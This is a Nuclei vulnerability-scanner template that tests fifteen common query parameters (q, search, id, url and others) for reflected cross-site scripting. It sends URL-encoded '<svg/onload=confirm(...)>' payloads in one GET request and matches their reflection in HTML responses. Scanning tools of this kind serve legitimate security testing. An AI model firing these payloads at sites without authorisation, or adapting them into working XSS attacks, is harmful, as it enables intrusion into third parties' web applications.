nuclei-templates/vulnerabilities/generic/top-xss-params.yaml

id: top-xss-params

info:
  name: Top 15 XSS Parameter Check
  author: foulenzer & geeknik
  severity: medium
  description: Searches for reflected XSS in the server response via GET-requests.
  tags: xss
  parameters: q,s,search,id,action,keyword,query,page,keywords,url,view,cat,name,key,p

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27q%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27s%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27search%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27id%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27action%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27keyword%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27query%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27page%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27keywords%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27url%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27view%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27cat%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27name%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27key%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27p%27%29%3E"

    redirects: true
    max-redirects: 1
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "\"<svg/onload=confirm('q')>"
          - "\"<svg/onload=confirm('s')>"
          - "\"<svg/onload=confirm('search')>"
          - "\"<svg/onload=confirm('id')>"
          - "\"<svg/onload=confirm('action')>"
          - "\"<svg/onload=confirm('keyword')>"
          - "\"<svg/onload=confirm('query')>"
          - "\"<svg/onload=confirm('page')>"
          - "\"<svg/onload=confirm('keywords')>"
          - "\"<svg/onload=confirm('url')>"
          - "\"<svg/onload=confirm('view')>"
          - "\"<svg/onload=confirm('cat')>"
          - "\"<svg/onload=confirm('name')>"
          - "\"<svg/onload=confirm('key')>"
          - "\"<svg/onload=confirm('p')>"
        part: body
        condition: or

      - type: word
        words:
          - "text/html"
        part: header

      - type: word
        words:
          - "<title>Access Denied</title>"
          - "You don't have permission to access"
        part: body
        condition: and
        negative: true

      - type: status
        status:
          - 200